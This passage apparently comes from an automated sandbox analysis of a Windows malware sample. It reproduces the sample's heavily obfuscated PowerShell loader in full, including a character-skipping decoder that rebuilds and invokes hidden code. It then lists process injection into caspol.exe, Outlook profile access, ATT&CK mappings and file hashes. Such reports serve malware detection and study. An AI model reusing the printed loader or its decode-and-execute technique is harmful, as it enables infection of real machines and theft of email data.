F3Tr6Mi3MoBsk2ChE B3 PFCo6Ch8Tr6SaAUn6 ABMe7 S6 E7PsA K7 TEHm1Er4Va3 hBUn2AsE P2 SF P2Mu8Op3 R6Kl3 BDBu3 UFMo2Kl8In2 P9 P7Tu3 G7Ty4 P0 F9Gt3 AFCe2AcEFo1tr3La3Li7Jo2deAIn3ab6 S3vgF B3 R7 U3ReF D3 P4 G2LuE K3 SBbv2PhEBi3Ca3 K3Us5 P3Mi4Di1OcCPo3Fo6en3ExB m3 AD S2Pa9 A7 U2Hi7 KE V0Fi9De2 MA C3Al5Ca2Su8 L3 aF U3 BEIn3 SFov6flDOv7 T3 T'ku;Op&fi(ha`$XaFForDiecrnMaaCet CeSt7 I) P U`$suC Po PrFuo On harodUni OtFaeTp1 N3Fl5No4 P;qu`$opCFoo BrAfoUnnreaFrd Bi St RePr1Me3 T5Tr5Ba K= S MyTOpr UoMamKap OeAtt Fs NnPoeBegfol EeFun MsGe8 S En' N2Fa8Ni3MeF K2 TE B2 BFUn2 P8 K3 K4Pe7GlA S7PeEfl1ToBCh2Up8ra3BeB T3No1Ma7 F4 F1 U9 D2Jo8Re3 IFUn3FoBBr2 HECa3 BF W0BrEUm2St3 S2 HARe3BiF F7be2Ca7Ki3Ri'ci;Be&Fo(Lf`$ EFDor se Rn AaMitDie P7 r)Bi c`$OeCAboCurSeoDinNyaJndFeiEkt Be L1Pi3Sp5Un5Al l Ba Ul; A}Ti`$AuANrsDitFrr piyed P Ha=Po PT Gr AoKim Fp Pe CtCesP nseeFegSplPreRonSpsha8Ca T'De3Ta1Ut3WaF Y2Ma8Me3Su4 S3 OF p3 I6Fo6Th9Ev6Be8 K' S; S`$ MS Pc AhReoMaowol Bb KoViy CiHasTah Fn CeEds SsSe Tr=Sk AiT FrCroEtm upChe Ct BsCln ReSig Gl KethnHasHo8 V O' E2tiF U2Ho9 M3SlF S2 F8To6Ca9 F6 K8La'Sh; G`$ KBByeHot OoSnn SgUdu PlmavReeBr0 U3En M= s LTSkrEko Am ep ReLst UsStn BeFag Sl FeBun UsSe8Md Ud' D1DeD B3InF G2 FE B1Ca9Rv3 c5 T3pa4Pr2 H9de3Na5Un3 B6Sa3PaFSe0 UDFr3Te3 P3Me4An3 MELi3 A5 T2NuDEm'Ko; J`$UnBudeFotScoSindig Ku Ol Bv IeMa0Ab0Pr=SlTPur SoOpmBepAdePrtAks FnDee SgCalLaeKon us D8 M V' f0No9 U3al2Sa3Fo5 T2 HD O0UdD D3 C3Ja3In4 S3 FE F3Be5Ri2SnDwr' c;Su`$AnCinoVer So RnFoaUnd Ai Gt Fe D1Se3Do5Ma6st Ud= C DoTCor SofrmlipKoeLat IsUnnEle Sg TlOfeQunMusVa8 K Fl'Ma7WiE T1Ud3 R3Ha4 A2 JEAp3SuFMi2Sl8Ab3 U6Ex3Ma5 B3Va9 R3 IBUn2 DEIm3 EFSo7EnAKv6Tr7 V7PiAPr0 S1 T0 b9 S2Ak3ta2Lu9Ne2SuE P3GeFMa3To7Lu7mi4 R0Gy8 C2ChF J3Kr4 d2TeE A3Ec3 J3Br7Ro3 oF H7Tr4 F1 M3 R3 O4Sk2LeEIn3 SFKo2ni8 S3Be5Ol2 PAAl0Wa9Uf3ViFRh2 F8 T2 KCUn3 O3Cl3fi9 G3 MFAu2 H9Sl7pr4Ha1Se7Va3SoB I2Hy8 d2 T9Lo3Sp2wa3 KB B3Su6sk0pr7 s6Ka0 S6 S0si1LiD G3 pF B2 AEAf1clESl3 UFPr3Be6Tu3PoFCu3DiDIn3 SBGr2 TE T3FyFCi1 BCEl3 G5 a2Pe8Uk1 ECUn2TuFBu3 G4ra3 S9 F2FoESl3Bl3 R3he5 a3St4Un0SaAUd3 M5Kl3 T3 B3Se4 F2 FEEt3FrF N2 H8No7Su2 D7St2pl3DeCHa3sp1Ga2 BAFl7UnAMa7DuE D1 AB U2 b9 u2 FE T2Mo8Sp3Ha3Cr3FeEBr7HjASt7 DEEc1LsC K2Ov8 p3JeFna3Pe4Au3SlBCh2SeEDe3CoF B6SaELi7 B3Fo7So6Ga7BlASa7 S2Ru1KnDTo1phEKa0 SEHa7BeAAt1SkA B7 s2Kv0 M1Pt1 d3 A3 s4 T2MaEEf0 PAAp2DoEMb2Po8Bo0Na7Pa7 S6 N7RuAdi0 V1Ka0BaF F1Bi3 B3Ca4 n2 RE L6To9Ty6St8 M0 D7Th7 N6 P7 TA T0Je1Ka0 MF D1 F3bd3Un4Ac2 nE A6gu9 N6Re8 F0Mo7Ki7Pn6 K7RaATr0Na1 O0PsF n1Fo3Fa3Be4En2 SE T6 F9 B6ud8 d0in7 B7Re3Ko7 UA C7Im2La0Ci1Sa1 G3 S3 E4Sk2TeE P0LaAAn2SlESa2Ba8Ye0ne7 S7Ch3Ph7 i3 A7Vi3Ju'Te; R& B(Kv`$ SF fr TeSwn IaBut Me V7De)To Su`$feCDao BrSaoPrn TasaddjiHytDie S1Ga3 M5 F6Ru; P`$DeBPre Ht Oo Pn rgNeuFilspvNeein0Ru1Wo Re= K SyTDirPhoFom Ap Ae VtPrsOxnVaevug Cl aeMyn ds A8Tr Pa'na7 UEUn1 P7 S3Ti3No2Ec9Mo3Sl5 K2 N8Fr3MoDTi3 ABDi3Pr4 d3ud3Ab2 j0Be3 FBGa2SiE R3Un3 S3Ma5 S3Ja4ch7TyATi6 A7re7 FA s0 K1Sp0Pa9 E2 N3St2ge9Ka2KoE S3DeF M3Hy7 F7Ud4 C0 T8Ov2FoFFo3Bo4Hy2 PEEy3 P3 F3Di7As3ReFSa7 S4Je1Pj3Ko3os4Re2 RENo3 TFHj2Sn8 E3Sk5 f2AfATi0 A9Pa3 PF P2Fo8Py2NoC F3 c3Es3 N9 S3LaFTi2 T9Da7Be4So1 P7Ne3IrBFa2 g8Be2 G9 S3 L2De3 KB A3Ti6 E0 D7Bo6 U0 U6re0Da1 ADPi3KoF P2FaEFl1AnE c3baFNo3 D6 P3BaFBo3BrDDe3PoBUp2paEHy3StFSt1 SCKl3 K5Fa2 U8 G1ToC D2 PFNo3Ld4 R3gr9 b2CaE M3Da3 K3Pa5Bg3Li4La0 DA S3 K5Pe3Bi3Bo3po4 s2 SE g3InFdu2 F8Ol7 M2Ha7 W2 K3RaCIn3 C1Ar2 PASc7 SATr7 BE A0Ad9al3 T9Ke3 f2 M3Ni5Ch3 M5 A3 R6 D3Bo8Ud3St5Dr2 P3 U3In3 B2di9 K3 A2De3 F4 A3ToFAl2 d9An2 F9Di7 FAch7SkEUn1Ge8In3jeFch2 VE F3Ge5Gr3Ne4Hj3EcDDa2DiFPe3Se6De2 OCTr3StF S6 SADr6CoA s7Ca3 T7 C6de7DrA R7Sp2 S1 FDSt1OvE M0TiEan7 PA J1HaAGr7 M2Sa0Li1Fr1Fl3 A3 p4 K2 SEBa0RaABr2 BEAn2 s8 t0Be7La7mu6 E7ShAAl0Lo1Ga0JdF M1En3 S3 A4 d2KlEst6An9To6tr8St0 S7Un7Su3Fo7 NASs7 L2in0Re1Fl1 H3 V3 A4 B2diE G0 IACe2BiE B2 E8 G0 T7 P7 T3 h7Un3Fo7Ge3 m' B;He& I( R`$DyFBrr SeGrn DabrtPaeOu7To) K Ak`$ CBpaeSntDaoKlnIng UuWhlAfvKreBi0En1 S; H`$ sBTuevit vo PnKvgSuuHilpavTieSp0 H2Su U=El STDar SoSpm Ap SeHet LsSen TeDigOll DeUnnGusEt8Me U' I7ElETr1HaCTo2taFSy2Up0Mu3IsF M3FdFCo2Ma9Fr7daA N6Ak7Bu7 SAIm0Mu1 D0Bl9 b2Ta3Un2Ex9Un2frE F3 uF F3 B7 E7Sa4 S0 T8Ek2SmFSl3Kr4 O2 VE H3Ch3 E3Di7Bl3ByFSc7Sl4 T1Cr3 P3 R4 S2 TE X3MaFPa2 R8sw3Go5Me2 FA R0Mi9Na3 AFUn2 P8 F2zaCTu3Bl3Ax3 G9Va3SeFEl2 U9Bo7Sc4Dr1 B7Ap3EjBGl2 M8In2Pi9Ud3Tr2 C3NaBFl3ui6om0pe7Ar6 H0Bl6Re0St1 MDPr3rgF T2BeEFr1SqEFo3 PFum3 S6 s3 SFLi3NoDVe3PrBSp2 SECo3 BFUn1 BCDi3co5Dr2 N8 S1AlCPa2 AFCl3Re4 U3La9Hy2 DEDe3 D3 B3Bo5 F3Sk4Fi0ReA P3Wi5 S3La3Vr3El4So2 BEUt3OxFFr2Un8Ch7 U2Pe7 u2 F3RaCCo3 S1vi2SpA v7IrA U7naE M1TaB s2 T9In2OdEFa2Re8af3Jg3un3SiEOd7TrAHa7spE R1La8Sp3NaFUn2 PEPr3 E5 C3 D4 o3 DD U2KoFOv3Be6Ve2 BCgo3 PFPa6ErA A6 I9 d7 B3 B7Di6Wh7 GApe7Fo2 A1 ND D1AbESt0ScEGr7 FASt1PaAFe7 U2Re0Fi1Mo1 G3 E3Lr4Br2 AEUn0 HA A2ArEPh2 s8Le0Fj7 P7Tr3 P7 PADv7bu2pa0 K1 N1Va3Te3Ne4Ga2 GE t0OlAAb2CrE A2 I8Fl0Su7 N7 S3Re7Lu3Ab7Cr3 M'Uh;Sy& J( B`$GrF grFoeConShaXitSie M7Fl)Lu Bo`$TrBAmeVatUnoMun Gg Su Ll NvPee n0 K2 S;da`$KuC wo Ur SoPlnRaafodTai Ct BeFj1 U3 K5su7kr C=An GT Br FoSpmNopBueIntResAnnRee Cg RlReeManMis S8Re Ov'Yd7 CESu0ImA L3Ur5 M3 O6be3sp3 B2FaE R3Ko3Na2 U9 B3 N4Re2Go0Sp2 S8 X7 VApl6fa7Fi7UnAPo7guEac1KlCHa2 RFSl2Ud0Me3DiFAt3FoF T2 P9Al7be4To1Ma3Di3Mo4Fr2poCRa3Af5Sm3 U1 L3MiFSr7 R2To6InAHa7Sl3St'ap;Me&Do( T`$KrFGerCyeTinEraNot Be K7 r) G B`$TrCAfo FrSpoGrn FaerdKliClt OeEt1Bo3 K5Sl7Sc;Ne`$ FCStoLar KoqunUmaSkdDii YtExe V1Wh3 F5Ho7Ak N=No AuTHarFioCamLupAgepot AsSkn Te Fg Rl Le pnLus C8Ri Ov' R7agEKa1 K7ga3Tr3 N2Ov9 Z3 K5Ch2 S8Ga3PeDIl3frBKl3 P4Co3 f3 F2 H0Bs3 NBPa2SuEma3 d3He3Nu5St3 A4vi7 C4 T1 O3Pl3ch4 M2NiC G3 K5Mi3Ad1Le3UtF g7 L2Cr7AfEou0 JAVa3Ud5Al3Sl6ta3 d3 U2 REDr3 D3Sj2Ud9 H3By4In2 T0Dr2me8Do7 E6Il7 FA O6 bA S7Ca3 P' A;de& O(Ph`$ThFJorSpe AnHjaRet Be A7 P) P Un`$FoCRioFor UoUnn paKyd biFatdoeFl1He3Un5 L7 B;Tr`$ SsHyiTrnPak SrCyoVrofum S A=Ca LfFrkDep S Sn`$ sFEnrPee Sn TaGit Ae U5 R P`$ReF Tr SeCrnNea Rt UeOr6Pa;Na`$ PC MoVrrIsoObnRkaMadTaiUntSseAu1Ta3Co5 N7Un Ko=Ba DeTstrRnoism ApDieSktUrsStnUne TgLel Ye BnExsBe8Co Ta' Q7BeE M1Dy9 S3 Z2 P3 S3 P3 B6Bo3Sa6Sp3 T3Rw6 F9 A7 OA M6Fi7 B7 AA A7fdETy1 B3 i3 O4De2 MEWe3ScFGr2 H8 M3Ra6 S3My5Ti3Ab9Th3 BB T2 BE T3ReF F7Pa4 B1Un3 F3 U4Se2 DC F3Su5Me3De1Un3paF U7Re2 U0 S1Cd1 S3Op3 K4 C2EnE f0 sA T2 OEFa2Ti8Tr0De7Ce6 l0Fy6 K0Po0Te0 D3MaFAn2fi8 S3en5tr7Ov6Kr7 BAly6NoC K6BeF a6StEKk7Be6 E7 NAHi6 UASe2 s2 D6Re9Be6RyAre6 PAMo6VaAMa7Sk6 U7 TA u6UnA T2 T2 R6BiEIn6 wARe7At3 P' S;Kr&Bo(De`$ SFAfrDreGenSva Ot Se O7Gl)Ve Pr`$TeCExoLyr So PnUnaKudpoiSutReeBu1Id3No5Br7Aj; I`$ UC So KrSmo Pnpra DdUdiart Beto1Ch3Co5 T8 F Ut= B GuTGarleo MmBopPoe Tt Ts Rn Pe DgLol IeMinLasMo8Sh S'Un7SaE S2PsF R3 K4Li3 ME S3PrFSk2Fo8Be3 S9Va3 BBKa2 B8Ai2Ch8Id2Lo3Fo7 TAag6 A7Di7SuAEn7KaE O1 S3 I3fl4Ha2 WEMa3SiFGt2En8 R3 S6 H3Ag5 C3Ma9Tr3 wBSo2foEPl3PaFHa7 M4 G1Je3 L3 p4sp2TaC M3Re5Wo3 F1 t3 OF I7 P2 S0 A1 A1Si3Do3Sk4Re2 SESu0AnAMe2FaE s2Sc8 L0 P7In6Ch0 s6 S0 S0Se0Re3ArFAr2Li8Kj3In5Ch7Ex6Is7PlAAf6TrCTe6 UD A6koC E6Tr3 S6PeE S6 TFDr6Bl3 F6 F8Ve7Lo6Uf7SaA c6SkASu2Ba2po6Tr9Ur6 MAKu6 SA T6SkAFa7De6ul7 AAEf6AnA U2Ca2Fa6 UEDe7Eu3 J'ki;St&Tc(sm`$HeFUnr Me BnCiaHut EeOu7 A) S e`$AlCReo Cr ToInnWeaRed Ri At Sere1Ou3 f5 L8 H; M`$ CC ShPoi ClPrl TiOw2tr= S`""" E`$Ope fnCavPo: AAFrPFlPOpDunA MTpoADo\Sns PqOuuFla IwOvt Fi Stets P\StsmuwInaStnFrhImeKerPydKi\ WM Do Gr Fb Bi Rdvae G\Osg TeSnmFoeSolSkl BuFos U\SaCShouns Bt We UaDinCoiVgn egIn. TWReaStrTa`"""Al;No`$ ACUdoRerKnonon OaPadSoiSkt HeNo1Re3Pi5To9Fo G=Ar TT Fr AoKrmStpFueTat TsManTee VgBel SeFon Usso8 S Wi'Up7ApEAl1Sa9Un3Me5 D2 D8Ga3 V5Af3 E4 E3FlBve3 TE H3Ti3Kn2FiE A3KiF D6 sBDe6 s9Ti6InF S7CoA A6Fr7Un7UdA v0Un1Pi0Gh9 K2Pl3Du2 U9Pe2HaE U3AsFBu3 K7 F7Sm4St1Sp3 P1Un5Ll7 K4Be1 ACTi3 M3Re3Dy6 F3frFDe0Dr7 U6 A0 L6Sp0 S0In8 S3FoF A3 JBga3 gE t1SmB E3 P6ha3 A6Kr1Sq8Ti2Po3De2AkESj3 GFSt2Pi9An7Wr2 F7FoERy1Ra9Bl3 A2 O3 D3Bi3 S6 U3Fr6 G3 F3De6Vi8 F7Sa3 m'hi;Sk&Pr(su`$ PF SrAmeBensuaVet NeGi7Ov) r W`$ BC Oohorsuo WnSuaHjd SiPotAseAm1 M3 M5Sj9Ju; H`$InTBor RoWomHapHee StHos DnCye FgselLie BnN s S0Tr S=Un RT SrSyo Im Ap Se Kt Fs PnRee Dg Fl PeLinUns H8Pe Fe'Sp0 K1Fe0Vi9La2Ab3 O2 O9Fo2 mE S3 LFSp3Fi7pe7Se4 T0 U8Ba2 ZFBa3 B4Tr2 SEBy3 Y3 F3 B7Re3SpFVe7As4Sk1 G3Dr3 S4 e2 AE D3 SFTl2 D8 B3Un5Th2 CAUn0Vi9Am3PhF K2Ul8rk2elCFo3 R3Dr3 C9Py3 TFRo2 B9Ud7 a4Pr1 d7 T3 TBDa2Bu8He2Aa9 H3Ur2 P3 DBPa3Jo6cu0No7no6Pa0 E6 A0Py1 C9nr3 b5 S2TeA B2co3 C7Un2Se7 KE a1Ku9 F3Wi5Ca2 C8 U3Po5 S3 U4Os3prB K3UtEAc3 d3Po2 SEVr3GeF K6KlB s6 F9 g6EnFge7Hu6Yo7 CARg6Ch9 H6 MA S6 A8Ld6ClE M7Sp6Dy7PiAEn7CyAPr7anESp1 P9 A3Ra2 A3 Q3 C3Mo6Me3 N6Sl3Ta3sp6Va9rh7 J6 F7ElAgn6CoCsk6HuF F6 REDe7Be3 M'Gl; K&Bu(Re`$ OFScrPeeShnTaaRet Fe B7 T) S e`$ FTCir AoFom SpExekutRes Cn Te tgPrlDoeErnJasCo0on;De`$TeTPro FuStrTrauncUno Rs S8La=Pr`$UnCKloour Doann Ka Dd Si StFeeLo1Kn3 B5In. LcKoo Eu Cn At H-Sp6Pe5 P4 S-La3Le0 E2Pa4Op;Er`$ HT SrCao OmtapCreSttHesDen De Ng FlCreFrn BsRo1Ka F= C isT Mr ToFjmDip De At PsBtnBrestgWelTae DnCasAn8 u Na'Be0Tr1Li0Na9Co2Se3He2Br9Dr2KlEUn3GeF N3Re7Be7Ov4Sa0Ac8Pi2BoFBo3Sm4fo2SkEBi3Ch3 M3Av7 C3NoF U7 F4 P1Sp3Ca3Se4Fi2 JEFo3 GFKr2Mo8Ch3 M5 G2 MADi0Sa9In3HuFRe2Pa8Bl2 AC N3Br3Mo3 c9Um3MeFSi2un9 V7Tr4Ma1Ba7 S3OpB N2 N8Te2Pr9 B3 G2Bi3SmBOu3El6in0 P7 F6 S0Ty6 P0El1Sa9Di3 R5Tr2meA g2Sl3 V7 A2Gu7 KEFo1 R9Ma3In5ba2Sa8Sa3Un5Kr3 B4 P3MiBSe3 ME B3Me3Ka2ScEBe3StFVi6KrB S6 A9 T6 PFCh7 S6 O7FoAZo6 PCAc6ReF S6InETr7bl1No6sl9Ri6 LACh6 S8Ef6 SE A7Aa6Fr7FoA W7 CEBe2FoFMa3 S4Sk3 OE E3prFAc2Sy8 K3Ga9Pr3SeBRe2 K8Fo2Ma8Al2 D3Ug7Os6Al7 DA G7CaE A0 SEAm3 M5 H2 DF S2 B8Af3 FBco3 B9 P3 I5re2 N9bs6Co2Gr7Su3No'Cr; O&Sp(ji`$FuFBrrFoe anAla TtdeeSa7 P) S Gl`$FiTStr SoTimNopSue Rt SsLon He Sg llSae Mn Ss T1Gi; T`$TrTUpr Fo Sm Lp Ke DtNas InMae CgStlscePinInsOv2Ka I=am MeTEcrEfoCam Tp Se St SsBan De HgKolAne Hn TsNa8 G B' B7RaE L1OvBSk3 S9Kl2 tB B2 AFsk3EfB S3Wo3 P3Di4Ma2 BEVe3TiFMi3ChEBe3Un4Sk3 PFSw2Ro9Th2 B9 T7NiAIn6Sn7Ri7SlA B0An1fa0 r9 R2 J3Ko2 E9Ul2 AEno3viF T3Fy7 m7 p4 c0sp8 T2AdF d3ko4Ba2PeEnu3 A3 D3Pr7 A3InF s7Pr4Pr1No3 F3An4 P2 ME L3 BFPa2Vo8 C3Al5Gt2 KA C0Qu9Sk3 DF B2No8Gu2PaCIn3Os3 N3Ma9Pe3 pFKi2sk9Bl7 V4 S1 S7Pl3SeBGa2Li8 E2in9 C3Ti2Yi3CoBte3 S6 U0Pr7Wi6 b0Ni6Pl0Sa1TrDSp3 EFCo2ArE V1AfE D3 BFZo3 A6 S3RoFti3 KDSk3ReBCo2 FEVa3 TFRo1VeCde3 E5Fe2Ca8 W1UnCFl2 rFKu3 K4Me3Di9El2 mE t3 I3 L3Fj5Br3Sh4 G0 CA A3 c5Di3 D3 S3 A4He2ToE F3 HFMu2Gr8Di7Be2Bi7 T2 N3 FC D3Va1Mt2BuAMu7DiAOr7EnE R1Su1Pa3NyB S3 V2Ud3 T4 P7 SATi7 AETe0 MA N2Bi8Ti3 AF h3 G2No3ec5 L2Ch9 T2hyELi3 M3an3 O6 A3 B3An2 MEId2 p3 S7Ti3In7re6 B7GeA P7 S2 W1 RDAn1UtE D0 SEBo7 IADd1AgASp7 B2Po0 T1Ov1 H3up3 N4 T2DeEDo0 lAAv2UnE S2 L8 A0Se7Ju7 D6un7DoAUv0Co1Pa1Ad3Po3Lo4Ar2 FE T0EmAFi2flEal2 Y8 C0 S7 B7 D6 W7MaATi0 S1Lu1My3Br3Br4In2DyE H0OvAVe2suE S2 H8Vi0Si7Ko7Sp6 P7UtAKa0cl1Br1 C3Pl3 B4Um2OvEEo0 SApo2 TESp2 k8Li0Qu7 I7Sp6Ov7 fABo0Ca1 P1Ov3sk3 I4 C2 LEKo0SnAMy2TuESa2Fo8Am0 T7 A7 R3Za7PrA V7 S2 G0Da1Re1Ek3Ja3Fy4de2EpEIm0InA M2 BE O2 S8 S0 G7Fa7 T3En7 D3 U7 M3Ga'In; I& U( E`$ FF Sr SeKonTaa CtReeUn7 T)Da P`$AnTDorCro mmKrpSoeUrt As Cn SeungBllEmeGrnSus D2Po;Co`$ STAnr Go Fmudp PepotLas In UewigDul pe fn As M3Sk M= P CoTUnrFioKumTrp GeFlt Ps ungre Dg hlOde Pn cs M8Or Pu'Pe7 PESi1 RBEm3 C9Em2GaB C2OpFUn3CrBAe3Eg3be3 S4Ma2ChETr3AgF U3SvENa3Po4 E3 FFEn2 H9 P2Co9Sp7 K4 I1La3Fo3Rd4 P2KoCAf3 R5Sy3di1Sk3AkF S7Re2 C7PlE B1Fo9 S3An2 M3Un3Oo3Un6 S3Sk6 G3 B3Uk6La9St7Py6op7 iENk2 FF C3Su4Ae3 PEMo3AfFfr2Be8 A3Be9Ni3SkBDo2To8 B2He8 s2Kr3 N7 A6 B7ApE E2St9Ap3 G3St3Ep4Bo3Ba1 D2 e8Fr3Fl5ga3Be5ma3 S7 E7Mo6Vi6 KASk7Ar6Mi6UnA O7Bl3 S' G; N& F( A`$TiFner AeGln kaSut GeSm7Sc)Ma Fi`$ MTEur Vo HmEdpVae LtAfsWenToe MgRalkre MnAus F3Ch#Kl;""";;Function Trompetsneglens9 { param([String]$Smeltevandsserne); For($Aminopropionic=2; $Aminopropionic -lt $Smeltevandsserne.Length-1; $Aminopropionic+=(2+1)){ $Betongulve = $Betongulve + $Smeltevandsserne.Substring($Aminopropionic, 1); } $Betongulve;}$Skelstningen0 = Trompetsneglens9 'SmILanQuvLbo AkVaeVr- OE Bx DpSdrkae AsTrsSti EoDin L ';$Skelstningen1= Trompetsneglens9 $Stemmets;&$Skelstningen0 $Skelstningen1;<#Thai Interessents Preinhabitation Dugrudes Stdpudernes #>;"
    3⤵
    - Checks QEMU agent file
    - Suspicious use of NtSetInformationThreadHideFromDebugger
    - Suspicious use of SetThreadContext
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious behavior: MapViewOfSection
    - Suspicious use of AdjustPrivilegeToken
    - Suspicious use of WriteProcessMemory
    PID:1676
  - - C:\Windows\Microsoft.NET\Framework\v4.0.30319\caspol.exe
      "C:\Windows\Microsoft.NET\Framework\v4.0.30319\caspol.exe"
      4⤵
      Checks QEMU agent file
      Accesses Microsoft Outlook profiles
      Suspicious use of NtCreateThreadExHideFromDebugger
      Suspicious use of NtSetInformationThreadHideFromDebugger
      Suspicious use of AdjustPrivilegeToken
      Suspicious use of SetWindowsHookEx
      outlook_office_path
      outlook_win_path
      PID:836

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Web Service

1

T1102

Credential Access

Discovery

Query Registry

1

T1012

System Information Discovery

2

T1082

Lateral Movement

Collection

Email Collection

1

T1114

Command and Control

Web Service

1

T1102

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

C:\Users\Admin\AppData\Local\Temp\Cab48B7.tmp

Filesize
61KB

MD5
fc4666cbca561e864e7fdf883a9e6661

SHA1
2f8d6094c7a34bf12ea0bbf0d51ee9c5bb7939a5

SHA256
10f3deb6c452d749a7451b5d065f4c0449737e5ee8a44f4d15844b503141e65b

SHA512
c71f54b571e01f247f072be4bbebdf5d8410b67eb79a61e7e0d9853fe857ab9bd12f53e6af3394b935560178107291fc4be351b27deb388eba90ba949633d57d

Download Submit
C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\Z091CQI1282A2ZB2DMGV.temp

Filesize
7KB

MD5
2a870201c87150b5262f98b0a5cca0f0

SHA1
8461819fda1b8cd5d146a4798197ce004d947afa

SHA256
cecbcc532592e462ca444c87574c2e55d0dc79391a41aa0054e5b3689fbbb989

SHA512
fc91f3a49e5bd3e62980135047c2ce7bcdcacc82d7b052c8ced535e383a52e647826f88a47230f8c870cca9b943d2fe92d7c7bd0d6b289e93529457bd130e5cb

Download Submit
C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\d93f411851d7c929.customDestinations-ms

Filesize
7KB

MD5
2a870201c87150b5262f98b0a5cca0f0

SHA1
8461819fda1b8cd5d146a4798197ce004d947afa

SHA256
cecbcc532592e462ca444c87574c2e55d0dc79391a41aa0054e5b3689fbbb989

SHA512
fc91f3a49e5bd3e62980135047c2ce7bcdcacc82d7b052c8ced535e383a52e647826f88a47230f8c870cca9b943d2fe92d7c7bd0d6b289e93529457bd130e5cb

Download Submit
C:\Users\Admin\AppData\Roaming\squawtits\swanherd\Morbide\gemellus\Costeaning.War

Filesize
238KB

MD5
f4d3e76957bc9a17b594035d9b7e382b

SHA1
cda6dc643029a0cedfac8752746524a1813142f7

SHA256
9630e999fa836d769e51baa6f2dea7aec8b6d8bae678b2d89b1c2754f62ce2c0

SHA512
bfc5b2b8bc9126975c0538a8caacc8a664345574926522a55a96a1ba59c542136d9a3e57a216a1694064fc591278adc9bed14d2897cbf72f54ecb83a0ac567da

Download Submit
C:\Users\Admin\AppData\Roaming\squawtits\swanherd\Morbide\gemellus\Modernizes.Tal

Filesize
24KB

MD5
5ad2310aae16d8259fd0e8e229abc9fe

SHA1
a2d34a9cdaf7065e0b3cb678a262c34249f3c187

SHA256
89db3868bc33c7dc55b603c69c1b9e5dda793804e2519216418c6e6d5e71961d

SHA512
5ba16dd33a81becc4c215ac14dbaf9e62797233aba1c56cc4f0226d6226afe5da7d3911d1e91d358f0a76541d416589ee245fec007eaabf8bf6bc9f71cdae160

Download Submit
memory/752-80-0x0000000002670000-0x00000000026B0000-memory.dmp

Filesize
256KB

Download
memory/752-68-0x0000000002670000-0x00000000026B0000-memory.dmp

Filesize
256KB

Download
memory/752-69-0x0000000002670000-0x00000000026B0000-memory.dmp

Filesize
256KB

Download
memory/836-106-0x00000000008F0000-0x000000000497F000-memory.dmp

Filesize
64.6MB

Download
memory/836-83-0x0000000000400000-0x0000000000615000-memory.dmp

Filesize
2.1MB

Download
memory/836-105-0x0000000000400000-0x0000000000615000-memory.dmp

Filesize
2.1MB

Download
memory/836-107-0x0000000000400000-0x0000000000430000-memory.dmp

Filesize
192KB

Download
memory/836-108-0x0000000023C10000-0x0000000023C50000-memory.dmp

Filesize
256KB

Download
memory/836-136-0x0000000023C10000-0x0000000023C50000-memory.dmp

Filesize
256KB

Download
memory/1676-79-0x0000000005040000-0x0000000005041000-memory.dmp

Filesize
4KB

Download
memory/1676-78-0x0000000005DD0000-0x0000000009E5F000-memory.dmp

Filesize
64.6MB

Download
memory/1676-76-0x0000000002450000-0x0000000002490000-memory.dmp

Filesize
256KB

Download

Analysis

Sharing

General

Malware Config

Extracted

Signatures

Processes

Network

MITRE ATT&CK Enterprise v6

Replay Monitor

Loading Replay Monitor...

Downloads